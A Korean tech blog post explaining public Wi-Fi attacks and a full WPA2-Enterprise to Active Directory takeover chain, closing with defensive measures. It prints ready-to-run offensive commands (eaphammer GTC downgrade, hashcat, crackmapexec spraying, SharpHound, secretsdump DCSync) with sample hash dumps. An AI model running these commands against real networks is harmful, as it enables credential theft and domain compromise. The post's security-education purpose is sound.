계기
"어차피 HTTPS 쓰면 내용은 못 보니까, 공개 와이파이 위험하다는 건 그냥 DNS 바꿔서 피싱 유도하는 거 아닌가? 그거 말고는 별로 없지 않나?"
이 생각이 맞는지 파고들었다. 결론부터 말하면 부분적으로 맞고, 크게 틀렸다.
| 기존 생각 | 실제 구조 |
|---|---|
| HTTPS 쓰면 내용 못 보니까 안전하다 | 내용은 보호되지만 나머지 공격은 여전히 가능하다 |
| DNS만 바꾸면 피싱 유도 끝 아닌가 | ARP Spoofing → MitM → SSL Strip / 쿠키 탈취 등 연계 공격 가능 |
HTTPS가 보호하는 것은 전송 중인 데이터의 내용(Payload) 뿐이다. 공개 와이파이 공격의 대부분은 내용 도청이 아닌 다른 경로로 이루어진다.
HTTPS가 실제로 막는 것
TLS 암호화로 보호되는 것들: 로그인 폼의 ID/PW, 카드번호, 개인정보 등 입력값, HTTPS API 응답 내용
HTTPS가 못 막는 것
[SNI 노출]
TLS 핸드셰이크 중 접속 도메인이 평문으로 전송됨
→ 내용은 몰라도 "저 사람 지금 hospital.kr 접속함" 은 보임
→ 행동 패턴, 업무 파악 가능
[SSL Strip]
HSTS 미적용 사이트는 HTTPS → HTTP 다운그레이드 공격에 취약
MitM 상태에서 암호화 구간 자체를 제거
[세션 쿠키 탈취]
Secure 플래그 없는 쿠키 → HTTP 요청 시 평문 전송
→ 쿠키 하나로 비밀번호 없이 계정 접근 가능
[HTTPS 피싱]
Let's Encrypt로 피싱 사이트도 HTTPS + 자물쇠 적용 가능
→ nаver.com (키릴 문자 'а') 같은 도메인도 자물쇠 뜨지만 피싱
[디바이스 직접 공격]
같은 LAN = 방화벽 없음, 직접 통신 가능
→ HTTPS와 완전 무관한 공격 경로
[앱 내부 HTTP 통신]
브라우저는 HTTPS지만 앱이 내부 API를 HTTP로 호출하는 경우 존재
공개 와이파이 공격 유형 정리
| 공격 유형 | 필요 조건 | HTTPS 방어 | 실제 피해 |
|---|---|---|---|
| ARP Spoofing | 같은 망 | X | 모든 트래픽 중간 차단 |
| Evil Twin | 근처에 있으면 됨 | X | 크리덴셜 탈취, 피싱 |
| KARMA / MANA | 근처에 있으면 됨 | X | 사용자 액션 없이 자동 연결 |
| DNS Spoofing | AP 제어 or MitM | X | 피싱 사이트로 이동 |
| SSL Strip | MitM 성립 후 | HSTS 없으면 뚫림 | HTTP 다운그레이드 후 도청 |
| 세션 쿠키 탈취 | Secure 플래그 없는 쿠키 | 플래그 따라 다름 | 로그인 없이 계정 접근 |
| HTTPS 피싱 | DNS 제어 | X (자물쇠도 뜸) | 크리덴셜 탈취 |
| Passive Sniffing | Open Network | O | HTTP 평문 사이트만 위험 |
| 디바이스 직접 공격 | 같은 망 | 무관 | 파일 탈취, 악성코드 설치 |
| WPA2-Enterprise 크랙 | 기업 WiFi 근처 | 무관 | 도메인 AD 크리덴셜 탈취 |
주요 공격 상세
1. ARP Spoofing — MitM의 기반
같은 네트워크 안에서 게이트웨이(공유기) MAC 주소를 사칭. 피해자의 모든 트래픽이 공격자 장비를 거쳐가게 만드는 대부분 MitM 공격의 출발점.
- 도구: arpspoof, Bettercap
- 같은 LAN에 있으면 실행 가능
- HTTPS 여부와 무관하게 트래픽 경로 자체를 가로챔
2. Evil Twin + Deauth — 가짜 AP 공격
정상 AP와 동일한 SSID로 더 강한 신호의 가짜 AP를 만들고, Deauth 패킷으로 피해자를 정상 AP에서 강제 연결 해제시킨 뒤 가짜 AP로 유도.
- 802.11 Deauthentication 프레임은 암호화되지 않아 스푸핑 가능
- Captive Portal(가짜 로그인 페이지)로 크리덴셜 탈취
- 도구: aircrack-ng, Wifiphisher, Airgeddon
3. KARMA / MANA — 자동 연결 공격
일반 Evil Twin보다 한 단계 위. 디바이스가 브로드캐스트로 뿌리는 Probe Request(과거 접속한 AP 목록 탐색)에 응답해서 사용자 액션 없이 자동 연결을 유도.
피해자 디바이스 → 브로드캐스트: "attwifi, Starbucks, 공항WiFi 있어?"
↓
KARMA AP → "응 나야!" 하고 전부 응답
↓
피해자 기기 자동 연결 (사용자가 아무것도 안 해도)
↓
MitM 완성 → 이후 다양한 공격 연계 가능
- 과거에 Open WiFi에 한 번이라도 접속했던 모든 기기가 잠재적 피해자
- 도구: eaphammer, hostapd-wpe (KARMA 모드)
4. 세션 하이재킹 — 쿠키 탈취
로그인 후 발급되는 세션 쿠키를 탈취해서 비밀번호 없이 계정 접근. 2010년 Firesheep 사건으로 유명해진 공격.
- Secure 플래그 없는 쿠키 → HTTP 요청 시 평문 전송됨
- MitM 상태에서 쿠키 가로채 브라우저에 복붙 → 즉시 로그인
- Firesheep: Firefox 플러그인 하나로 버튼 클릭만에 Facebook/Twitter 계정 탈취
5. WPA2-Enterprise 크리덴셜 탈취 — 기업 환경 핵심
기업 직원 대상에서 가장 크리티컬한 공격. 도메인 AD 계정을 직접 탈취할 수 있어 내부망 침투로 이어진다.
① 회사 WiFi SSID 동일한 가짜 AP 설치 (eaphammer / hostapd-wpe)
② 직원 노트북이 가짜 AP에 연결 시도
③ EAP 인증 과정에서 MSCHAPv2 해시 캡처
④ hashcat / asleap 으로 오프라인 크랙
⑤ 크랙된 크리덴셜 = AD 도메인 계정
⑥ VPN 로그인 → 내부망 침투
- EAP-GTC 다운그레이드 공격으로 평문 크리덴셜까지 탈취 가능
- 크리덴셜 하나 = 레드팀이 몇 주 걸릴 작업을 단번에 달성
실제 공격 연계 흐름
실제 공격에서는 단일 기법보다 여러 기법이 연계되는 시나리오가 훨씬 많다.
Step 1. Evil Twin AP 설치 — SSID 동일, 신호 더 강하게
↓
Step 2. Deauth 공격으로 정상 AP에서 피해자 강제 연결 해제
↓
Step 3. 피해자 가짜 AP에 자동 접속
↓
Step 4. ARP Spoofing으로 MitM 완성
↓
Step 5.
a. DNS 응답 변조 → 피싱 사이트 유도 → 크리덴셜 탈취
b. SSL Strip → HTTP 평문 도청 + 쿠키 탈취
c. WPA2-Enterprise 해시 캡처 → 오프라인 크랙 → AD 계정 탈취
실제로 누가 타겟인가
공격 대상에 따라 위험도가 완전히 달라진다.
위험도 낮음 — 일반인 + 대형 사이트
구글, 네이버, 카카오, 은행 등은 HSTS Preload, Secure 쿠키, Certificate Pinning 적용. 단순 공격으로는 실질적 피해 주기 어려움. 결국 피싱 페이지에 직접 입력하게 유도하는 것 외에 현실적 수단이 없음.
위험도 매우 높음 — 기업 직원 (AD 도메인 사용)
도메인 크리덴셜 하나 = VPN → 내부망 → 횡적 이동 → DB, 재무 정보, 고객 데이터 → 랜섬웨어. 개인 피해가 아니라 회사 전체 피해. 실제 레드팀에서 반복적으로 재현되는 시나리오.
공격자는 공항, 컨퍼런스장, 코워킹 스페이스처럼 비즈니스 유저가 밀집한 곳을 노린다. 회사 WiFi SSID가 저장된 노트북에 KARMA 공격을 걸면 사용자가 아무것도 안 해도 자동 연결된다.
일반인 계정 탈취
→ 피해 범위 = 개인
기업 직원 도메인 크리덴셜 탈취
→ VPN → 내부망 → Lateral Movement → 랜섬웨어
→ 피해 범위 = 회사 전체
핵심 방어 방법
- VPN 필수 → MitM 계열 공격 대부분 무력화
- 인증서 경고 절대 무시 금지 → HTTPS 프록시 공격 방어
- URL 직접 확인 → IDN 호모그래프, 피싱 방어
- 저장된 Open WiFi 삭제 → KARMA 공격 방어
- 윈도우 네트워크 위치 → "공용" 설정 → 디바이스 직접 공격 방어
- 기업 환경: EAP-TLS + 인증서 검증 강제 → WPA2-Enterprise 공격 방어
WPA2-Enterprise가 AD 환경에서 왜 위험한가
1. WPA2-Enterprise 인증 구조 이해
일반 가정용 WiFi와 기업 WiFi의 차이부터 봐야 한다.
일반 WiFi (WPA2-Personal)
연결 시도 → PSK(사전 공유 키) 일치 여부 확인 → 연결
비밀번호 하나를 모든 직원이 공유하는 구조. 퇴사자가 생겨도 비밀번호 안 바꾸면 계속 접속 가능.
기업 WiFi (WPA2-Enterprise)
연결 시도
↓
AP → RADIUS 서버로 인증 요청 전달
↓
RADIUS 서버 → Active Directory 계정 검증
↓
AD가 "이 계정 유효함" 확인 → 연결 허가
핵심은 WiFi 인증 = AD 도메인 계정 인증이라는 것. 별도 WiFi 비밀번호가 없고 corp\홍길동 / 사번패스워드로 WiFi에 붙는 구조다.
2. EAP 인증 과정과 해시 캡처
WPA2-Enterprise에서 주로 쓰이는 인증 방식이 EAP-PEAP(MSCHAPv2) 인데, 가짜 AP 앞에서 이 인증 과정이 어떻게 흘러가는지 보면 된다.
정상 인증 흐름
클라이언트 → AP → RADIUS → AD
←────────────────── 챌린지 값 전달
클라이언트: NT 해시(패스워드) 기반으로 응답값 계산
──────────────────→ 응답값 전송
RADIUS → AD: 검증
←────────────────── 인증 성공/실패
가짜 AP 공격 시
클라이언트 → 가짜 AP: "인증할게요"
가짜 AP → 클라이언트: 챌린지 값 전달 (공격자가 생성)
클라이언트 → 가짜 AP: NT 해시 기반 응답값 전송
↑ 이걸 캡처 (NetNTLMv2 해시)
클라이언트는 가짜 AP인지 모르고 정상적으로 응답값을 보냄. 공격자는 이 응답값을 오프라인에서 크랙한다.
eaphammer로 캡처하면 이런 형태로 나옴
CORP\홍길동::CORP:aabbccddeeff0011:A1B2C3D4E5F60718293A4B5C:
0101000000000000C0653150DE0D0201A979FB1CC3020000000000000
이게 NetNTLMv2 해시. hashcat으로 오프라인 크랙.
hashcat -m 5600 captured.txt wordlist.txt --rules-file best64.rule
기업 패스워드 정책이 약하면(8자리 + 숫자 조합 정도) 수 분~수 시간 내 크랙됨.
3. EAP-GTC 다운그레이드 — 해시도 필요 없는 경우
eaphammer가 지원하는 GTC(Generic Token Card) 다운그레이드 공격을 쓰면 해시 크랙도 필요 없다.
공격자 가짜 AP가 EAP-GTC 방식으로 인증 요청
↓
iOS, macOS, 일부 Android 기기: 자동으로 GTC 방식 수락
↓
클라이언트가 패스워드를 평문으로 전송
↓
공격자: 평문 패스워드 즉시 획득
크랙 과정 없이 바로 평문이 나온다.
./eaphammer -i wlan0 --channel 6 \
--auth wpa-eap \
--essid CorpWifi \
--creds \
--negotiate gtc-downgrade
4. 탈취 후 — 내부망 침투 단계
여기서부터가 실제로 위험한 이유다. 단순히 WiFi 재접속이 목적이 아니다.
4-1. VPN 진입
대부분의 기업 VPN은 AD 계정으로 인증한다.
탈취한 크리덴셜: corp\홍길동 / P@ssw0rd123
→ GlobalProtect, Cisco AnyConnect, Pulse Secure 등
→ AD 계정으로 VPN 로그인
→ 내부망 진입 성공
4-2. 내부망에서 정찰
# 도메인 정보 수집
net user /domain
net group "Domain Admins" /domain
# BloodHound로 AD 구조 시각화 (권한 상승 경로 자동 분석)
SharpHound.exe --CollectionMethod All
BloodHound는 AD 내 모든 계정, 그룹, ACL, 세션 정보를 수집해서 Domain Admin까지 가는 최단 경로를 그래프로 보여준다.
4-3. Lateral Movement
같은 패스워드를 여러 계정에 재사용하는 경우가 많다. 또는 현재 계정이 로컬 관리자 권한을 가진 PC가 있을 수 있다.
# CrackMapExec으로 내부망 전체 계정 사용 가능 여부 확인
crackmapexec smb 10.0.0.0/24 -u 홍길동 -p P@ssw0rd123
# 결과 예시
SMB 10.0.0.5 445 PC-001 [+] CORP\홍길동:P@ssw0rd123 (Pwn3d!)
SMB 10.0.0.12 445 PC-007 [+] CORP\홍길동:P@ssw0rd123 (Pwn3d!)
SMB 10.0.0.31 445 SRV-02 [+] CORP\홍길동:P@ssw0rd123 (Pwn3d!)
Pwn3d! 가 뜨면 그 PC에서 코드 실행 가능.
4-4. 권한 상승 → Domain Admin
BloodHound가 찾아준 경로를 따라 권한 있는 계정으로 점프하다 보면 Domain Admin에 도달한다.
일반적인 경로들:
- Kerberoasting: 서비스 계정의 TGS 티켓 요청 → 오프라인 크랙 → 서비스 계정 패스워드 획득
- AS-REP Roasting: 사전 인증 비활성화된 계정 해시 덤프 → 크랙
- ACL Abuse: WriteDACL, GenericAll 같은 권한 오용
- Pass-the-Hash: 해시 자체를 인증에 사용 (패스워드 크랙 불필요)
4-5. DCSync — 게임 오버
Domain Admin 권한을 얻으면 DCSync 공격으로 도메인 컨트롤러에서 전체 계정 해시를 덤프할 수 있다.
# impacket secretsdump
python3 secretsdump.py CORP/관리자:패스워드@도메인컨트롤러_IP
# 결과
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a5f8e57f53ebbf04f1ce4a344af8c8e9:::
CORP\홍길동:1103:aad3b435b51404eeaad3b435b51404ee:2d56fe4b1e8394d40bb0b18f8e2dfc6c:::
CORP\김철수:1104:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
... (도메인 내 전체 계정)
이 NT 해시들은 Pass-the-Hash로 바로 사용 가능. 패스워드 크랙 없이도 어디든 접근 가능.
krbtgt 해시를 얻으면 Golden Ticket 공격 가능 — 임의의 계정으로 임의의 기간 동안 유효한 Kerberos 티켓 위조 가능. 패스워드가 바뀌어도 무효화되지 않음.
5. 전체 공격 체인 요약
공개 WiFi 근처
↓
가짜 AP (eaphammer) 설치 — 회사 SSID 동일
↓
직원 노트북 자동 인증 시도
↓
MSCHAPv2 해시 캡처 or GTC 다운그레이드로 평문 획득
↓
hashcat 오프라인 크랙 → 도메인 크리덴셜 확보
↓
VPN 로그인 → 내부망 진입
↓
BloodHound 정찰 → 권한 상승 경로 파악
↓
Kerberoasting / Pass-the-Hash / ACL Abuse
↓
Domain Admin 도달
↓
DCSync → 전체 계정 해시 덤프
↓
Golden Ticket → 영구 백도어
↓
랜섬웨어 배포 or 데이터 유출
6. 왜 일반 계정 탈취와 차원이 다른가
| 일반 SNS 계정 탈취 | AD 도메인 계정 탈취 | |
|---|---|---|
| 초기 접근 | 그 계정만 | VPN → 내부망 전체 |
| 확장 가능성 | 없음 | Lateral Movement → DA |
| 최종 피해 | 개인 정보 | 전사 DB, 랜섬웨어, 데이터 유출 |
| 지속성 | 패스워드 바꾸면 끝 | Golden Ticket은 패스워드 변경으로도 무효화 안 됨 |
7. 방어 방법 (기업 관점)
인증 강화
- EAP-TLS 사용 (인증서 기반, MSCHAPv2 대신) → 해시 캡처 자체가 불가
- 서버 인증서 검증 강제 → 가짜 AP에서 인증 시도 자체를 차단
계정 정책
- 패스워드 복잡도 강화 (크랙 난이도 상승)
- LAPS (Local Administrator Password Solution) → PC마다 로컬 관리자 패스워드 다르게
- Tiered Admin Model → 일반 계정과 관리자 계정 분리
탐지
- 비정상 VPN 로그인 알림 (시간대, 위치)
- Kerberoasting 탐지 (대량 TGS 요청)
- DCSync 탐지 (도메인 복제 권한 없는 계정의 복제 요청)
'🥕 저장소 (Dev & Tools) > 잡다구리 (ETC)' 카테고리의 다른 글
| 웹사이트 접속가능여부 확인 (0) | 2026.02.09 |
|---|